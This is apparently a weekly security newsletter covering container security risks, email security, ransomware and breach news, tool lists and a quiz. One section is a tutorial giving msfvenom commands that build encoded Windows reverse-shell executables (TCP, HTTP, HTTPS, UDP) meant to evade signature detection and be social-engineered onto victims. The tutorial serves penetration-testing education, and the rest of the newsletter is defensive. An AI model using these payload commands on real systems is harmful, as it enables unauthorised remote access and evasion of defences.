Hey,Hello again. Happy Friday! 

→  Vulnerabilities in Containers: The Real Problems with Docker and Kubernetes 🚢→  How to: Email Security 📧→  Getting Reverse Shells from Binary Executable Payloads 💻→  Malware Trends and Analysis ⚠️→  In Other News 📰→  Secret Knowledge 🤫→  The Puzzle Section ❓

Containers are amazing, right? Using containers has completely changed the way that DevOps teams operate - we can now pick up any application and its dependencies and spin it up on any computer. The advantages of using containers are clear to most teams, but have you thought about the disadvantages of containerization?

The truth is that some of the weaknesses of containers haven't gone away. Insecure images, kernel access, and multi-layer security nightmares are all very real. What should you be looking for and how do you manage it? Read on to find out. 

Because running a container launches a completely self-contained app, running security checks on them can be difficult. In particular, loading a public image brings the risk of loading publically known vulnerabilities. The security has no power to:

Manage the content of the image

Explore the inherent weaknesses in the image

Update the image to meet organizational standards/patch vulnerabilities

Manage the availability of the image

If that was a piece of locally installed software, would you trust it?

Similarly, although Docker and Kubernetes have hardened their systems in recent years, user access control was not limited to older versions of their orchestration software. If a vulnerable image was loaded into an out-of-date Docker container, especially an organization could be looking at leaking containers and potentially leaking data. 

Vetting, vetting, vetting. Although the DevOps team will hate you for it, there are no other solutions to this problem. Thoroughly vet every single image that your organization will use before any are loaded into a container. This is especially true for operating system images that can't be created locally (which generally includes some of the most popular Linux distros such as Debian and Alpine). 

Containers run with lightweight isolation from the OS, meaning that security is not necessarily high grade - in fact, containers are an easy jumping-off point for would-be threat actors.

Unlike in a virtual machine, where the hypervisor manages and defends the environment, a container has no middleman to protect the overall system. This means that if an attacker gains access to (for example) the  Linux kernel through a container, they can access all containers. Then it is only a matter of escaping the container itself to start accessing data and files on the physical system. 

With the growth of cloud computing and more organizations jumping on the remote server gravy train, loading containers into the cloud is a best practice for stopping malicious agents from escaping your containers. When your DevOps team access a container in the cloud, the resources and data are in distinct areas - that is, they can't access anything else in storage (well, not easily anyway). 

Managing security issues is already a delicate balancing act, but containers don't work on single layers. This means that each individual layer (including the Docker or Kubernetes daemon) needs to be managed individually and hardened properly before containers can be used safely within your organization.

This becomes a larger problem when you are loading unfamiliar or public (!) images of operating systems. Everything needs to be secured properly in order to bring containers into the same wheelhouse as virtual machines in terms of reliability. 

Secure the daemon, secure the operating system, and use trusted images (preferably ones created locally so you can completely manage what is contained in the image). This involves:

Managing inherent vulnerabilities

Vetting access control lists

Observing inter-container traffic

Stopping API access where it is not necessary

Not sure if your containers are properly secured? Check out NIST's SP 800-190: Application Container Security Guide for best practices. 

Yes, but only when they are managed well. This is not a death knell for containers or a rallying call for people to turn back to virtual machines. Instead, this is a warning for InfoSec and DevSecOps professionals to take a close look at how their organization uses containerization.

Understanding the image that you are loading, the environment it is loaded into, and the disadvantages of an over-reliance on container technology will give your organization a stronger security posture and a smaller attack surface. Use trusted images, rely on the cloud where possible, and limit privileges throughout the development process to reap the benefits of containerization in your organization. 

Channel Futures - Docker Downsides: Container Cons to Consider before Adopting Docker

Container Journal - The 4 Most Vulnerable Areas of Container Security

Sogeti - Container Cons: The complexities associated with Containers

TechTarget - Four container security vulnerabilities and how to avoid them

How to Encrypt Email (Gmail, Outlook, iOS, Yahoo, Android, AOL)Panda Security explains what email encryption is, why it's important and how it can be applied in Gmail, Outlook, iOS, and many more email providers. Two of the primary forms of email encryption are S/MIME and PGP/MIME compared below:

1 of Every 4 Companies Suffered At Least One Email Security BreachA recent survey of 420+ businesses that use Microsoft 365 found that 23% of these businesses have encountered an email-related security breach.

62% of all breaches are caused by compromised passwords & phishing attacks

68% of companies expect Microsoft 365 to keep them safe from email threats, yet 50% use third-party solutions

Third-Party Solutions the most effective, with 82% reporting no breaches

Companies with between 201-1,000+ employees are the most vulnerable to email security breaches

4 Email Security Best Practices to Protect Your EnterpriseFour of the best email security practices to reduce the potential for cyber-attacks on enterprises detailed by Digify:

Improve your endpoint and email security hygiene

Safeguard your email content with encryption

Implement email server protection

Prevent data leakage and breaches

Binary payloads are executables that can be generated using the msfvenom framework and once executed on a victim machine, would give us access to the system. This is useful functionality as sometimes; it can be much easier to simply social engineer a person to infect their system with a payload instead of finding a vulnerability that can be exploited. 

There are mainly two types of binary payload that msfvenom can generate: PE and ELF. PE stands for Portable Executable (PE) format and is used for executables, object code, DLLs, and others used in Windows operating systems. ELF stands for Executable and Linkable Format (formerly named Extensible Linking Format) and is used for executable files, object code, shared libraries, and core dumps on Unix and Unix-like i.e., Linux and other operating systems. 

Let's review the different types of reverse shells:1. Reverse TCP: Reverse TCP shells provide interactive and stable connections when the payload connects back to our attacker machine. However, this comes at a cost. It is often less stealthy as connecting to a nonstandard port like 6666 or 4444 can trigger alarms on IDS/IPS and other network monitoring solutions. Also, a raw TCP connection going to port 80/443 can also seem suspicious. Therefore, we have more sophisticated payloads as a workaround.

2. Reverse HTTP: Reverse HTTP payloads use the HTTP protocol instead of TCP and therefore can seem like legitimate traffic on network monitoring tools. However, HTTP payloads are slow in response and can cause lag. Also, HTTP is plaintext, therefore the traffic can be sniffed and monitored.  

3. Reverse HTTPS: Reverse HTTPS payload upgrades the HTTP connection to a secure HTTPS connection with encryption so that all communication is encrypted and cannot be monitored on the network. Therefore, an HTTPS connection to port 443 would look like a legitimate network connection on IDS/IPS systems.

The following commands show how to generate individual payloads for every type of shell.

Msfvenom has the following arguments: 

-a: System Architecture (x86/64) 

--platform: OS of the target system 

-p: Payload 

LHOST: Attack Server to connect back to 

LPORT: Port to connect back to 

-e: Encoder 

-b: Bad character to remove 

-nopsled: To add a few NOPs at the start of the payload

-I: Number of iterations to run the encoder 

-f: File type for payload 

-o: Output filename 

EncodersEncoders are used to encode the payload and convert it into pure alphanumeric characters and remove any bad characters to make it suited for the target environment. Msf has a few encoders and here we will be using the most popular shikata_ga_nai encoder. The word “shikata_ga_nai” in Japanese means “Nothing Can Be Done”. It implements a polymorphic XOR additive feedback encoder, and is mainly useful because of the following reasons: 

The encoding makes use of a decoder stub that is generated using metamorphic techniques and it produces a different signature every time the payload is generated in an attempt to avoid signature detection.

The encoder uses a chained self-modifying key which means if the decoding input or the keys are incorrect, it will not produce the correct output. 

The decoder stub is partially obfuscated and it is protected against emulation using FPU instructions.

One more reason we use encoders is to get rid of bad characters like “\x00”. This is because if the exploit code has to go through a vulnerable function like strcpy(), then the null byte needs to be removed for the payload to work correctly.  

A less popular encoder is the x86/countdown. However, this encoder comes in handy if we are looking to encode a payload without increasing its byte size by too much. Shikata_ga_nai would be able to get rid of bad characters easily, however, to fulfill that, it would grow the payload exponentially. A 5-byte payload would increase to 98 bytes after shikata_ga_nai encoding, however, the x86/countdown encoder would only increase it to 11 bytes. This comes in handy when we have very limited memory available to include a payload after encoding it.  

NOP Sled MSF provides the option to add a NOP sled to the beginning of the payload. A NOP sled is a sequence of NOP commands which is used to slide the CPU’s execution to a desired choice of address. While generating payloads, we can choose to add a NOP Sled to the beginning of our shellcode so that we have a fairly large range of memory addresses to redirect code execution during a buffer overflow. The NOP Sled would then slide the execution to our payload once we are able to redirect code execution to the NOP sled. 

Let’s look at how to create these using the msfvenom command line. Note, the ‘’ string after LHOST needs to be replaced with a valid IP address.  

1. Reverse TCP Shellmsfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=> LPORT=443 -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe -o payload.exe 

2. Reverse HTTP Shell 

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_http LHOST= LPORT=443 -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe -o payload.exe 

3. Reverse HTTPS Shell 

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_https LHOST= LPORT=443 -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe -o payload.exe 

4. Reverse UDP Shell 

msfvenom -a x86 --platform Windows -p payload/windows/shell/reverse_udp LHOST=  LPORT=443 -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe -o payload.exe

Disclaimer: Ensure you only pentest systems and networks that you own or have legal permissions to do so.

Extortion Payments Hit New Records as Ransomware Crisis IntensifiesThe rise of “quadruple extortion” is one disturbing trend identified by Unit 42 consultants in the first half of 2021. Ransomware operators now commonly use as many as four techniques for pressuring victims into paying:

1. Encryption: Victims pay to regain access to scrambled data and compromised computer systems that stop working because key files are encrypted.

2. Data Theft: Hackers release sensitive information if a ransom is not paid. (This trend really took off in 2020.)

3. Denial of Service (DoS): Ransomware gangs launch denial of service attacks that shut down a victim’s public websites.

4. Harassment: Cybercriminals contact customers, business partners, employees, and media to tell them the organization was hacked.Ransomware Attacks and Payment Demands SoarJai Vijayan discusses the rise in not only the amount of ransomware and phishing attacks but the rise in the level of sophistication involved with these attacks.

Four-Fold Increase in Software Supply Chain Attacks PredictedThe European Union’s forecast is that there will be four times more software supply chain attacks in 2021 than in 2020, based on its study of 24 supply chain attacks that happened between January 2020 and July 2021.

A timeline of the attacks studied in the report 

T-Mobile Investigating Claims of Massive Data BreachThe intrusion came to light on Twitter when the account @und0xxed started tweeting the details. Und0xxed said they were not involved in stealing the databases but were instead in charge of finding buyers for the stolen T-Mobile customer data.“We are confident that the entry point used to gain access has been closed, and we are continuing our deep technical review of the situation across our systems to identify the nature of any data that was illegally accessed…This investigation will take some time but we are working with the highest degree of urgency. Until we have completed this assessment we cannot confirm the reported number of records affected or the validity of statements made by others.” - T-Mobile

A sales thread tied to the allegedly stolen T-Mobile customer data.

Discover useful security resources, cheatsheets, hacks, one-liners, and open-source CLI/web tools.

   🔸 YesWeHack - bug bounty platform with infosec jobs.  🔸 Openbugbounty - allows any security researcher to report a vulnerability on any website.  🔸 hackerone - global hacker community to surface the most relevant security issues.  🔸 bugcrowd - crowdsourced cybersecurity for the enterprise.  🔸 Crowdshield - crowdsourced security & bug bounty management. 

  🔸 gvisor - container runtime sandbox.  🔸 ctop - top-like interface for container metrics.  🔸 Moby - a collaborative project for the container ecosystem to assemble a container-based system.  🔸 docker-bench-security - checks for dozens of common best-practices around deploying Docker.  🔸 trivy - vulnerability scanner for containers, suitable for CI.  

  🔸 ViewDNS - one source for free DNS-related tools and information.  🔸 DNSLookup - is an advanced DNS lookup tool.  🔸 DNSlytics - online DNS investigation tool.  🔸 DNS Spy - monitor, validate and verify your DNS configurations.  🔸 Zonemaster - helps you to control how your DNS works. 

🔸 Introducing the Allstar GitHub AppThe Open Source Security Foundation has released Allstar, a GitHub app that provides automated continuous enforcement of security best practices for GitHub projects. With Allstar, owners can check for security policy adherence, set desired enforcement actions, and continuously enact those enforcements when triggered by a setting or file change in the organization or project repository.🔸 How to create IAM roles for Serverless appsA detailed guide to creating least privilege IAM roles for serverless apps, with a focus on deploy-time actions, including handling deploying across multiple AWS accounts.

Check your knowledge. Select the correct response to the following questions:1)  Which MITRE ATT&CK tactic includes techniques to expand access beyond the initial entry point?

a. Lateral Movement

b. Persistence

c. Credential Access

d. Defense Evasion 

2)  Is data in Azure Storage encrypted by default?

A. Yes

B. No 

*Clue: Answers are placed at the end of the newsletter.

Special thanks to Dalton Hirst, Austin Miller, and Karl Gilbert.

1)  a. Lateral Movement2)  A. Yes

Thanks for reading! Until next week,Kartikey 👋